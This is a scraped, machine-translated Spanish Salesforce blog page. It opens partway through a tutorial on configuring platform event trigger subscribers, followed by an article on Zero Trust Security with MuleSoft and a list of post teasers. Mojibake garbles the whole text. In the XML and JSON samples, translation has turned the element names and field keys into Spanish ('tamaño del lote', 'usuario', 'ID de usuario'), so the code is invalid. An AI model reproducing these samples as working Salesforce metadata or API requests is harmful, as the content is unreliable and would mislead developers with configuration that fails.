Nombre del desarrollador El nombre exclusivo del objeto PlatformEventSubscriberConfig.
etiqueta maestra Etiqueta para PlatformEventSubscriberConfig. En la interfaz de usuario, este campo es Configuraci贸n de suscriptor de eventos de plataforma.
PlatformEventConsumerId El ID del desencadenador de Apex del evento de plataforma que se va a configurar.
ID de usuario El ID del usuario con el que se ejecuta el desencadenador de Apex del evento de plataforma. De forma predeterminada, el disparador de eventos de la plataforma se ejecuta como la entidad de proceso automatizado. Establecer el usuario que ejecuta a un usuario espec铆fico tiene estos beneficios:

  • Los registros se crean o modifican como este usuario.
  • Los registros con campos OwnerId tienen sus campos OwnerId completados para este usuario cuando se crean o modifican.
  • Este usuario crea los registros de depuraci贸n para la ejecuci贸n del disparador.
  • Puede enviar un correo electr贸nico desde el activador, que no es compatible con el usuario de Proceso automatizado predeterminado.

Los componentes PlatformEventSubscriberConfig tienen el sufijo .platformEventSubscriberConfig y se almacenan en la carpeta PlatformEventSubscriberConfigs .

Este componente PlatformEventSubscriberConfig tiene la etiqueta LeadGenerationEventTriggerConfig . Contiene la configuraci贸n de un disparador de eventos de plataforma, LeadGenerationTrigger , y especifica el tama帽o del lote y el usuario.


<?versi贸n xml="1.0" codificaci贸n="UTF-8"?>
<PlatformEventSubscriberConfig xmlns="http://soap.sforce.com/2006/04/metadatos"> <platformEventConsumer>LeadGenerationTrigger</platformEventConsumer> <tama帽o del lote>50</tama帽o del lote> <masterLabel>LeadGenerationEventTriggerConfig</masterLabel> <usuario>desarrollador@automationchampion.com</usuario> <isProtected>falso</isProtected>
</PlatformEventSubscriberConfig>

Pr谩ctica guiada (nosotros hacemos):

Para agregar una configuraci贸n, realice una solicitud POST como se menciona a continuaci贸n:

  1. Abra Workbench e inicie sesi贸n con su nombre de usuario y contrase帽a de Trailhead Playground .
  2. Aseg煤rese de haber seleccionado la opci贸n Producci贸n para el medio ambiente .
  3. Navegue a la pesta帽a Utilidades y seleccione la opci贸n REST Explorer .
  4. Selecciona las siguientes opciones:
    1. Elija un m茅todo HTTP para realizar en el URI del servicio REST API a continuaci贸n : POST
    2. URL : /services/data/v58.0/tooling/sobjects/PlatformEventSubscriberConfig
    3. Cuerpo : proporcione los valores en el cuerpo de la solicitud. Esta solicitud de ejemplo configura un activador existente con un tama帽o de lote de 50 y especifica el ID de un usuario en ejecuci贸n.
      1. {
        "Tama帽o del lote": "50",
        鈥淣ombre del desarrollador鈥:鈥滾eadGenerationEventTriggerConfig鈥,
        鈥淢asterLabel鈥:鈥滾eadGenerationEventTriggerConfig鈥,
        鈥淧latformEventConsumerId鈥: 鈥01qB0000000Zcug鈥,
        鈥淚D de usuario鈥: 鈥005B00000015gt8鈥
        }
      2. D贸nde:
        1. 01qB0000000Zcug, disparador de Apex en Lead_Generation__e
        2. 005B00000015gt8, es el ID de usuario del usuario de integraci贸n
    4. Haga clic en Ejecutar .
  5. Puede consultar y recuperar las configuraciones en su organizaci贸n con SOQL. Si consulta desde Developer Console Query Editor, aseg煤rese de seleccionar Use Tooling API . Esta consulta de ejemplo recupera todas las configuraciones establecidas en su organizaci贸n de Salesforce.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Seguridad Zero Trust para tus APIs usando MuleSoft 鈽侊笍

Seguridad Zero Trust para tus APIs usando MuleSoft 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Seguridad Zero Trust para sus API con MuleSoft | Blog de desarrolladores de Salesforce

Roma no se construy贸 en un d铆a… pero casi se arruin贸 en una noche. Eso es lo que tienen los imperios, son fr谩giles. Al igual que la confianza. Podemos extender a煤n m谩s esta analog铆a a nuestra arquitectura empresarial; se necesita mucho tiempo y un gran esfuerzo para construir una organizaci贸n exitosa y ganarse la confianza del cliente, pero un percance de seguridad puede reducir todos los escombros de sus esfuerzos.


En 2022, todos escuchamos sobre la filtraci贸n del juego GTA 6 justo antes de su fecha de lanzamiento. Esta filtraci贸n fue lo suficientemente grande como para poner en problemas financieros al editor del juego, y hubo especulaciones de que una persona interna, como un empleado, estaba involucrada. Entonces la pregunta es: "驴A qui茅n debemos confiar con la seguridad?" La seguridad es tan fuerte como el eslab贸n m谩s d茅bil.

Y la respuesta es: 鈥淣o conf铆es en nadie鈥, y eso es lo que nos lleva a Zero Trust Security (ZTS) .

ZTS es un marco arquitect贸nico que tiene como objetivo proteger a las organizaciones de amenazas de seguridad, ataques y violaciones de datos al cumplir con los protocolos de seguridad en cada punto de acceso.

Antes de ZTS, la seguridad basada en el per铆metro era el enfoque popular. En la seguridad perimetral, autenticamos y autorizamos a la entidad solo a nivel perif茅rico mediante firewalls, redes privadas virtuales, etc. Una vez que la entidad obtiene acceso, puede acceder a todos los recursos. El movimiento lateral no autorizado ha sido una de las principales preocupaciones en la seguridad perimetral.

Por el contrario, ZTS impone autenticaci贸n y autorizaci贸n en cada punto de entrada. En general, podemos aplicar ZTS a aplicaciones empresariales, aplicaciones nativas de la nube, API, etc. En esta publicaci贸n de blog, nos centraremos principalmente en implementar ZTS para API y explorar lo que MuleSoft tiene para ofrecer en lo que respecta a Zero Trust Security.

Principios b谩sicos de ZTS

Todo el concepto de ZTS se basa en los siguientes cuatro principios b谩sicos:

  • No conf铆e en nadie y verifique siempre : independientemente de la persona (cliente, director ejecutivo, desarrollador, etc.), autenticamos y autorizamos su acceso en cada etapa. Si hay m煤ltiples puntos de entrada para obtener acceso a un recurso en particular, debemos aplicar la validaci贸n en cada punto de entrada. Utilizamos Gesti贸n de Identidad y Acceso (IAM) y autenticaci贸n multifactor (MFA), y aplicamos pol铆ticas de seguridad.
  • M铆nimos privilegios y denegaci贸n predeterminada : De forma predeterminada, se denegar谩 el acceso a todos los recursos. Una vez que la entidad est谩 autenticada y autorizada, seg煤n la credencial, podemos otorgar acceso con los privilegios m铆nimos. Necesitamos asegurarnos de que estamos autorizando solo los recursos esenciales. Podemos controlar el acceso para diferentes roles utilizando el modelo de acceso basado en roles y modificar los privilegios en consecuencia.
  • Inspecci贸n completa y visibilidad del flujo de datos : debemos asegurarnos de que haya transparencia en el flujo de datos. Debemos tener cuidado con el registro de la carga 煤til, ya que podr铆a involucrar informaci贸n confidencial. Si hay m煤ltiples sistemas finales y API involucrados, deber铆amos tener una visi贸n general de 360 grados de la arquitectura del sistema y el flujo de datos. De esta forma, podemos controlar el mal uso de informaci贸n sensible y la fuga de informaci贸n.
  • Gesti贸n de control centralizado: Para implementar fuertes medidas de seguridad, necesitamos un centro de gesti贸n centralizado. Esto nos permitir谩 aplicar medidas de seguridad en todas las entidades. Tambi茅n nos da un control completo sobre la infraestructura de la organizaci贸n desde una perspectiva de seguridad. API Manager es un lugar para dejar de administrar aplicaciones API, Mule y Non-MuleSoft. Puede administrar, proteger y gobernar aplicaciones con la ayuda de API Manager.

Implementaci贸n de seguridad de confianza cero

Es muy probable que su infraestructura existente ya tenga algunas medidas de seguridad implementadas. Para implementar ZTS, no tiene que comenzar a construir todo desde cero o reconstruir su infraestructura de seguridad existente. Todo lo que necesita hacer es planificar bien las medidas de seguridad e identificar las lagunas. Puede lograr esto adoptando un enfoque de microsegmentaci贸n o seguridad en capas.

Microsegmentaci贸n o enfoque de seguridad en capas

Esta es una t茅cnica en la que dividimos la infraestructura en niveles o segmentos y luego aplicamos medidas de seguridad. Tambi茅n podemos considerarlo como "divide y vencer谩s", donde estamos dividiendo la gran infraestructura en fragmentos m谩s peque帽os para una mejor seguridad y control. Este enfoque nos brinda seguridad a nivel granular.

Podemos implementar los principios b谩sicos de ZTS de la siguiente manera:

  1. Enumere todos los activos, sistemas finales, aplicaciones, datos y puntos finales de API. Comprobar el estado del dispositivo y del sistema. Implemente la autenticaci贸n de extremo a extremo y no permita el acceso lateral.
  2. Resuma el flujo de datos y las conexiones. Dise帽e su infraestructura actual.
  3. En funci贸n de la criticidad de la informaci贸n, identificar las pol铆ticas de seguridad a aplicar en cada punto de entrada. Implemente el acceso basado en roles y pol铆ticas.
  4. Haga cumplir la implementaci贸n de seguridad a trav茅s de un sistema de gesti贸n central y supervise su infraestructura.

ZTS con MuleSoft

Es posible que ya est茅 familiarizado con las capacidades de integraci贸n de MuleSoft y c贸mo aprovechar la conectividad dirigida por API para construir una infraestructura componible. Lo siguiente lo ayudar谩 a comprender c贸mo implementar ZTS usando las capacidades de seguridad de MuleSoft.

Tomemos en consideraci贸n una arquitectura componible creada con conectividad dirigida por API (vea la imagen a continuaci贸n). La l铆nea exterior punteada en rojo denota seguridad basada en el per铆metro, ya que estamos aplicando seguridad en un nivel perif茅rico. Para aplicar ZTS, aplicaremos medidas de seguridad en cada capa de la API y en todo el punto final de la API. Las l铆neas internas de puntos rojos en la capa de proceso indican que hemos aplicado una pol铆tica de eliminaci贸n de encabezado y autenticaci贸n b谩sica en el punto de entrada de la capa de experiencia a la capa de proceso.


驴C贸mo logramos ZTS con MuleSoft?

  1. Aplicaci贸n de pol铆ticas de seguridad listas para usar: MuleSoft ofrece varias pol铆ticas de seguridad listas para usar, desde la autenticaci贸n b谩sica hasta OAuth y JWT. Podemos aplicar f谩cilmente estas pol铆ticas en nuestro nivel de puerta de enlace API utilizando Anypoint API Manager . Tambi茅n podemos personalizar estas pol铆ticas para cumplir con los est谩ndares y regulaciones de nuestra organizaci贸n.
  2. Creaci贸n de entornos seguros: podemos aplicar la protecci贸n contra amenazas en cada per铆metro perimetral de forma autom谩tica mediante Anypoint Security en una plataforma que cumpla con las normas ISO 27001, SOC 1 y 2, HIPAA, PCI DSS y GDPR.
  3. Registro y monitoreo efectivos: podemos lograr transparencia utilizando las capacidades de registro y monitoreo de MuleSoft, y usar API Catalog CLI para descubrir y catalogar nuestras API.
  4. Gobernanza continua : utilizamos Anypoint API Governance para identificar, validar y hacer cumplir las mejores pr谩cticas de seguridad para las API, como OWASP Top 10, desde el dise帽o hasta la implementaci贸n.

Conclusi贸n


En este blog, hemos aprendido sobre Zero Trust Security y sus principios b谩sicos. Tambi茅n somos conscientes de la diferencia entre la seguridad basada en el per铆metro y ZTS, y por qu茅 ZTS es importante. Adem谩s, hemos aprendido c贸mo podemos implementar ZTS usando MuleSoft y las capacidades de seguridad que MuleSoft tiene para ofrecer.

Recursos

Sobre el Autor

Akshata Sawant es promotora s茅nior de desarrolladores en Salesforce. Es autora, bloguera y oradora, y coautora del t铆tulo, MuleSoft for Salesforce Developers . Akshata es un miembro activo de la comunidad de MuleSoft y ex embajador de MuleSoft. Le encanta leer, bailar, viajar y la fotograf铆a, y es una gran entusiasta de la comida. S铆guela en Twitter y LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta gu铆a se public贸 originalmente en Medium en 2021 y se actualiz贸 con la orientaci贸n y los consejos m谩s recientes, incluidas las nuevas funciones de seguridad como parte de los lanzamientos recientes y la nueva estructura de precios para las revisiones.

La publicaci贸n Prepare su aplicaci贸n para pasar la revisi贸n de seguridad de AppExchange apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

Mejore la disponibilidad en su organizaci贸n 鈽侊笍

Est茅 atento a estos antipatrones comunes y utilice estas estrategias para evitarlos y mejorar la disponibilidad en su organizaci贸n.

La publicaci贸n Mejore la disponibilidad en su organizaci贸n apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Los mejores eventos de Salesforce para asistir en 2023

Una de las cosas incre铆bles de estar involucrado en el ecosistema de Salesforce son los maravillosos eventos. Si desea asistir a algunos de los mejores eventos de Salesforce en 2023, estamos aqu铆 para ayudarlo. Hemos reunido los eventos que no querr谩 perderse este a帽o. Salesforce y Trailblazer Community organizan [鈥

La publicaci贸n Los mejores eventos de Salesforce para asistir en 2023 apareci贸 primero en Inspire Planner.

Continue reading

Lograr una CLI de Salesforce de c贸digo abierto 鈽侊笍

Consulte la tercera y 煤ltima publicaci贸n de blog de nuestra serie que relata el viaje de la CLI de sfdx hacia el c贸digo abierto, ahora con confiabilidad mejorada.

La publicaci贸n Lograr una CLI de Salesforce de c贸digo abierto apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

C贸mo un Data Lakehouse puede ayudar a su equipo a ser m谩s eficiente

Un lago de datos suena como una escapada serena, pero puede ser la clave para mejorar la eficiencia y la satisfacci贸n del cliente.

Continue reading

Creaci贸n de conocimientos en Genie Customer Data Cloud 鈽侊笍

Genie Customer Data Cloud utiliza datos para crear una vista 煤nica del cliente. Puede usar Insights para segmentar, agregar y filtrar para comprender mejor a su cliente.

La publicaci贸n Creaci贸n de conocimientos en Genie Customer Data Cloud apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Desmitificando Net Zero Cloud

A menudo veo confusi贸n en torno a esta nube, y con el cambio de nombre y las muchas mejoras que ha tenido con respecto a los lanzamientos, pens茅, 驴por qu茅 no tratar de arrojar algo de luz? 驴Por qu茅 yo? Para los que no lo sepan, adem谩s de todo lo relacionado con Salesforce y Agile, mi enfoque es ayudar a las organizaciones a reducir el desperdicio. Residuos Lea m谩s acerca de Desmitificar Net Zero Cloud[鈥

Continue reading

Transmita eventos a escala con filtros de eventos y enriquecimiento de campo 鈽侊笍

Escale su uso de eventos de plataforma y eventos de captura de datos modificados con filtros de eventos y enriquecimiento de campos. Pero primero, un repaso sobre los eventos de transmisi贸n.

La publicaci贸n Transmisi贸n de eventos a escala con filtros de eventos y enriquecimiento de campos apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Flujos de pantalla integrados en sus componentes web Lightning 鈽侊笍

Screen Flow permite a los desarrolladores y administradores crear interfaces de usuario y vincularlas a los datos de Salesforce, y utilizar componentes web Lightning como elementos de flujo.

La publicaci贸n Integrar flujos de pantalla en sus componentes web Lightning apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Sus clientes de peque帽as empresas quieren automatizaci贸n de telecomunicaciones, no tecnolog铆a obsoleta

Si bien las empresas de telecomunicaciones han revolucionado lo que ofrecen a los clientes empresariales y consumidores cotidianos, es hora de mostrar ese mismo amor a los clientes de peque帽as y medianas empresas.

Continue reading

Lo que los socios ISV deben saber sobre Lightning Web Security 鈽侊笍

Lightning Web Security (LWS) habilita algunas de las funciones nuevas m谩s buscadas para Lightning Web Components (LWC), como importaciones de espacios de nombres cruzados, mayor compatibilidad con bibliotecas de JavaScript de terceros y m谩s. Sin embargo, los ISV deben tener en cuenta algunas consideraciones importantes al trabajar con LWS. En esta publicaci贸n de blog, daremos una breve descripci贸n de [鈥

La publicaci贸n Lo que los socios ISV deben saber sobre Lightning Web Security apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading

C贸mo aprobar el examen de certificaci贸n de consultor de Sales Cloud

脷ltima actualizaci贸n el 20 de noviembre de 2022 por Rakesh Gupta Como consultor certificado de Sales Cloud reci茅n nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el pr贸ximo en hacerlo. 隆As铆 que prep谩rate y sum茅rgete! 馃憠 Ya que est谩s aqu铆, quiz谩s quieras

La publicaci贸n C贸mo aprobar el examen de certificaci贸n de consultor de Sales Cloud apareci贸 primero en Automation Champion .

Continue reading

La retransmisi贸n de eventos de Salesforce est谩 generalmente disponible 鈽侊笍

隆Nos complace anunciar que Event Relay para AWS ya est谩 disponible de forma general! Event Relay es una gran parte de c贸mo estamos construyendo una experiencia de desarrollador unificada que abarca las plataformas de Salesforce y AWS. En esta publicaci贸n, escuchar谩 c贸mo Event Relay ayuda a los desarrolladores a ahorrar tiempo al optimizar la integraci贸n bidireccional impulsada por eventos entre Amazon EventBridge [鈥

La publicaci贸n Salesforce Event Relay est谩 disponible de forma general apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Salesforce Private Connect para AWS est谩 disponible en todo el mundo 鈽侊笍

Hoy, nos complace anunciar la disponibilidad global de nuestro servicio Private Connect. Con Private Connect, los clientes pueden implementar integraciones de API entre Salesforce y AWS que se enrutan de forma privada y evitan el tr谩fico p煤blico de Internet. Es m谩s f谩cil que nunca para los equipos de desarrollo cumplir con los requisitos reglamentarios y de seguridad a medida que construyen integraciones que impulsan [鈥

La publicaci贸n Salesforce Private Connect para AWS est谩 disponible en todo el mundo apareci贸 por primera vez en el blog de desarrolladores de Salesforce .

Continue reading

Funciones interesantes de la plataforma de datos de clientes de Marketing Cloud para desarrolladores 鈽侊笍

La plataforma de datos de clientes (CDP) de Marketing Cloud existe desde hace un tiempo. Sin embargo, es posible que a煤n no est茅s familiarizado con 茅l. En nuestra publicaci贸n de blog anterior, discutimos la importancia de CDP en el contexto de Salesforce Genie. Esta publicaci贸n de blog lo guiar谩 a trav茅s de las funciones geniales que CDP tiene disponibles para los desarrolladores. [鈥

La publicaci贸n Caracter铆sticas interesantes de la plataforma de datos de clientes de Marketing Cloud para desarrolladores apareci贸 primero en el blog de desarrolladores de Salesforce .

Continue reading